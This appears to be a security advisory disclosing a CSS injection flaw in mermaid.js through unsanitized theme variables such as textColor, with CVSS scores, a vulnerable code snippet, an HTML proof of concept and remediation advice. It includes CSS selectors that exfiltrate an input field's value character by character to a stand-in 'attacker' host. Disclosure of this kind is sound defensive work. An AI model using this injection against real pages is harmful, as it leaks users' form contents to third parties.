CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
30.0%
An attacker is able to inject arbitrary CSS
into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS
selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value
attribute one character at a time. Whenever there is an actual match, an http
request will be made by the browser in order to “load” a background image that will let an attacker know what’s the value of the character.
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
Has the problem been patched? What versions should users upgrade to?
Is there a way for users to fix or remediate the vulnerability without upgrading?
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory:
mermaid.js
GHSL-2022-036
)By supplying a carefully crafted textColor
theme variable, an attacker can inject arbitrary CSS
rules into the document. In the following snippet we can see that getStyles
does not sanitize any of the theme variables leaving the door open for CSS
injection.
Snippet from src/styles.js:
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}
For example, if we set textColor
to "green;} #target { background-color: crimson }"
the resulting CSS
will contain a new selector #target
that will apply a crimson
background color to an arbitrary element.
<html>
<body>
<div>
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>
In the proof of concept above we used the textColor
variable to inject CSS
, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
This issue may lead to Information Disclosure
via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
Ensure that user input is adequately escaped before embedding it in CSS blocks.
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
30.0%